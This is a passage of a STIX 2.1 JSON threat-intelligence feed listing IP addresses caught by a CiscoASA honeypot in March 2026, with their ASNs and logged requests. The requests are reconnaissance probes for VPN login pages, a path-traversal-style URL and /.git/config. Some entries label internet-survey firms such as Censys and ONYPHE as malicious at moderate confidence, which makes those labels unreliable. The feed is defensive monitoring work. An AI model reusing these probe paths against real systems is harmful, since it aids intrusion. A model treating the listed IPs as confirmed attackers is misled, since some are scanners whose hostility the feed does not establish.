      "type": "indicator",
      "valid_from": "2026-03-12T05:20:13.000Z",
      "valid_until": "2026-04-13T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T05:04:50.815Z",
          "last_seen": "2026-03-12T05:04:50.815Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--bedb1fbf-c710-43b9-9d90-3cf778c3d423",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T05:20:13.000Z",
      "valid_until": "2026-04-13T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-12T05:04:58.679Z",
          "last_seen": "2026-03-12T05:05:04.427Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--807ce508-98da-4f29-9dee-aead1c4e0882",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T05:20:13.000Z",
      "valid_until": "2026-04-13T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 10,
          "first_seen": "2026-03-12T05:00:50.782Z",
          "last_seen": "2026-03-12T05:06:45.179Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--108855e5-9554-4e1e-8488-08f5b70567bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T05:20:13.000Z",
      "valid_until": "2026-04-13T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T05:03:30.654Z",
          "last_seen": "2026-03-12T05:03:30.654Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2506c8b2-e16e-4f88-a82e-717cf4e29fcc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T05:20:13.000Z",
      "valid_until": "2026-04-13T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T05:04:38.098Z",
          "last_seen": "2026-03-12T05:04:38.098Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T12:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--0b64d904-e2e9-4f1e-aab4-b06d32fbe3be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '182.119.227.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T12:20:12.000Z",
      "valid_until": "2026-04-13T12:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T11:47:10.217Z",
          "last_seen": "2026-03-12T11:47:10.217Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--8e3da791-c442-4e92-8bf0-e5d132c1efc7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:20:13.000Z",
      "valid_until": "2026-04-13T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-12T12:57:57.059Z",
          "last_seen": "2026-03-12T13:00:53.448Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--36e58692-0d1e-4451-ad98-71362373831d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:20:13.000Z",
      "valid_until": "2026-04-13T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T12:55:16.180Z",
          "last_seen": "2026-03-12T12:55:16.180Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--3abaad2c-182f-4770-a27e-0038e8dd6c98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:20:13.000Z",
      "valid_until": "2026-04-13T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-12T12:55:18.291Z",
          "last_seen": "2026-03-26T04:16:58.585Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--de6b5ab4-eb34-4fd7-af5b-d2efee7d8a19",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:20:13.000Z",
      "valid_until": "2026-04-13T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T12:52:43.409Z",
          "last_seen": "2026-03-12T12:52:43.409Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--7b1b3903-ba5f-40b5-9d4e-7f5a1dfaaff5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:20:13.000Z",
      "valid_until": "2026-04-13T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T12:57:31.180Z",
          "last_seen": "2026-03-12T12:57:31.180Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--afb3b5f6-d5f8-4862-bf8b-8cb4d3b1a378",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:20:13.000Z",
      "valid_until": "2026-04-13T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T12:57:16.190Z",
          "last_seen": "2026-03-12T12:57:16.190Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--9fcac7e4-bdaf-4d4e-acef-477230052070",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:20:13.000Z",
      "valid_until": "2026-04-13T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T12:59:45.738Z",
          "last_seen": "2026-03-12T12:59:45.738Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 396982 (Google LLC)",
      "id": "indicator--d5db5bd8-6888-4593-8039-05c081e9809c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.34.77.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T16:20:13.000Z",
      "valid_until": "2026-04-13T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-12T15:44:21.033Z",
          "last_seen": "2026-03-12T15:44:22.015Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-14T02:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--5bf3fc7d-64d8-487b-845c-e55cc88a604b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:20:14.000Z",
      "valid_until": "2026-04-15T02:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-14T01:29:53.479Z",
          "last_seen": "2026-03-14T01:30:15.554Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-14T03:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--22a7a87b-5642-410e-b4ad-a5b430bde964",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '146.190.134.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T03:20:07.000Z",
      "valid_until": "2026-04-15T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-14T03:00:55.973Z",
          "last_seen": "2026-03-26T06:30:13.204Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-14T03:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T03:20:07.000Z",
      "valid_until": "2026-04-15T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-14T02:52:32.214Z",
          "last_seen": "2026-03-14T02:52:32.214Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-14T07:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--38dc3419-16ce-4014-b561-1c2548b65478",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T07:20:07.000Z",
      "valid_until": "2026-04-15T07:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-14T06:36:19.363Z",
          "last_seen": "2026-03-14T06:37:08.351Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-14T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.git/config HTTP/1.1\" 404 - geo: US; ASN 11320 (LightEdge Solutions)",
      "id": "indicator--67ba9bc4-56c3-4e20-9328-a2b15461a67a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.81.248.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T11:20:05.000Z",
      "valid_until": "2026-04-15T11:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-14T10:24:21.396Z",
          "last_seen": "2026-03-14T10:24:24.400Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11320,
          "as_org": "LightEdge Solutions",
          "event_types": [
            "\"GET /.git/config HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-14T13:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--6312e82a-c0fc-498b-b746-b7b404aebe50",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T13:20:14.000Z",
      "valid_until": "2026-04-15T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-14T12:34:28.632Z",
          "last_seen": "2026-03-14T12:34:28.632Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-14T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 396982 (Google LLC)",
      "id": "indicator--16df48a0-e289-405d-9a2f-c90eb7a9391a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.105.172.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:20:13.000Z",
      "valid_until": "2026-04-15T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-14T15:47:30.718Z",
          "last_seen": "2026-03-14T15:47:39.208Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-14T18:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.132.26.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T18:20:06.000Z",
      "valid_until": "2026-04-15T18:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-12T17:43:31.480Z",
          "last_seen": "2026-03-20T18:26:26.912Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-14T20:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--40f61673-2a3a-41cc-b760-9784a9c65f06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
